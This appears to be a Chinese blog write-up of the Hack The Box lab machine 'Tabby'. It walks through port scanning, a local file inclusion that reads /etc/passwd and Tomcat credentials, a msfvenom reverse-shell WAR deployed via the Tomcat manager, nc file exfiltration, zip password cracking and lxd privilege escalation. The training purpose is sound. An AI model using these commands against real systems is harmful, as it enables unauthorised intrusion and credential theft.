前言

之前一段时间一直在做 Vulnhub,但是感觉自己的能力提升比较有限,于是打算换换口味做做好评如潮的 Hackthebox,毕竟注册都能给人惊喜,还有垂涎已久的 windows 靶机,其次不用花半天时间去下载 vm 再导入虚拟机。于是有了这篇试水之作。

htb 毕竟是一个平台,看了一下有着固定的套路 (如有错误还请指出),渗透的目标是获取 user flagsystem flag (拿来计算分数,产生排名)。而 htb 的特点是与真实环境的相似性 (更加痛苦与快乐),相比 Vulnhub 感觉更有挑战性。

暂时对 htb 的理解有限,但接入是靠 openvpn 的,不得不说这个网络问题,嗯,很坑,后续会更新我网络环境搭建的心得。

基本介绍

靶机介绍

intro

基本信息都在这张图上,绿色圈圈代表难度为 easy,操作系统为 Linux

工具列表

名称 版本
Nmap 7.80
curl 7.72.0
metasploit 5.0.101

User flag 部分

端口扫描及服务发现

htbJoin Machine 后即会提供靶机的 IP 地址,从而不用做 IP 发现之类的工作,直接从扫端口和服务发现开始,此处分配到的 IP10.10.10.194。由于是远程的靶机,全端口扫描真的很慢,对于这个靶机快速扫描的结果已经完全够用了 (之后进行过全端口扫描然后比对)。

{% blockquote %}

1
nmap -sS -F 10.10.10.194

Not shown: 97 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8080/tcp open http-proxy {% endblockquote %}

开放了三个端口,枚举服务:

{% blockquote %}

1
nmap -sC -sV -p22,80,8080 -O 10.10.10.194

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Mega Hosting 8080/tcp open http Apache Tomcat |_http-open-proxy: Proxy might be redirecting requests |_http-title: Apache Tomcat Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel {% endblockquote %}

Web 探测

首先使用浏览器查看:

index

果然很贴近正常的业务,点击到 NEWS 出现 404 页面,url 为:

http://megahosting.htb/news.php?file=statement

megahosting.htb 换成靶机的 IP 地址得到以下页面:

news

url 似乎是本地文件包含,使用以下的 url 进行验证:

http://10.10.10.194/news.php?file=../../../../etc/passwd

lfi

当然这么手动输入没毛病,使用 wfuzz 明显效率更高。

Tomcat

首先查看网页:

tomcat

默认页面,由于存在 LFI 漏洞,直接读取 tomcat-users.xml 获取账户名和密码,这里我使用了 curl :

{% blockquote %}

1
curl 'http://10.10.10.194/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml'
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you do NOT use one of the users in the commented out
  section below since they are intended for use with the examples web
  application.
-->
<!--
  NOTE:  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
   <role rolename="admin-gui"/>
   <role rolename="manager-script"/>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>

{% endblockquote %}

由于对于 tomcat 实在是陌生,那几个管理页面也是够绕的,结合请教小伙伴加 google 后,由于账户的 rolemanager-script,发现可以利用 /manager/text 接口上传恶意 war 包来 getshell

首先使用 msfvenom 生成 payload:

1
msfvenom -p java/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war

这里的 <IP> 为本机 openvpn 对应的接口的 IP 地址,此处也使用 curl 来上传 war 包:

1
curl -u tomcat:'$3cureP4s5w0rd123!' -T shell.war 'http://10.10.10.194:8080/manager/text/deploy?path=/haha'

上传成功会返回: OK - Deploy application at context path [/haha]

接着访问 http://10.10.10.194:8080/haha 来触发 reverse shell,访问之前需要监听对应的端口,使用 nc 即可:

1
nc -lvp <PORT>

使用 curl 触发:

1
curl http://10.10.10.194:8080/haha

rev_shell

接着发现该机器上有 python3 的环境,使用以下命令得到一个虚拟的 tty :

1
python3 -c "import pty; pty.spawn('/bin/bash')"

py_rev

横向越权

之前已经得到 /etc/passwd 的内容,了解到存在用户 ash,接着横向越权比较头疼,这部分了解不足。ashhome 权限配置没有问题,也没有与 ash 有关的可以修改的脚本之类的,至于 SUID 这块更是没有,系统也是最新的 Ubuntu。参考了他人的 walkthrough 才发现还有以下的操作?

/var/www/html 目录下的 files 目录下有一个 zip 压缩包,使用 nc 将其下载下来。

本机:

1
nc -lvp 3333 > backup.zip

靶机:

1
nc -w 1 <IP> 3333 < 16162020_backup.zip

这里 -w 1 参数可在传输结束后 4 秒自动关闭 nc,毕竟这里使用 ctrl-c 会有惊喜。

尝试解压发现有密码,使用 fcrackzip 进行破解:

1
fcrackzip -D -v -u -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip

zip_crack

最没有想到的,这就是 ash 账户的密码,直接 su 即可:

ash

至此已经可以拿到 user-flag

System flag 部分

ash 的目录下有 snap 目录,而且用户的属组有 lxd,发现本机存在 lxc / lxd,想到这个与 docker 很相似,LPE 应该不是难事。

这里我参考了 hackingarticles 上的教程,与 docker 提权类似,也是将根目录挂载到了容器里,这里我挂载到了容器内的 /mnt/root 下,最终获得 root 权限:

root

参考链接

  1. LFI

  2. Tomcat 渗透总结

  3. Exploiting Apache Tomcat manager-script role

  4. Tabby Walkthrough

  5. Lxd Privilege Escalation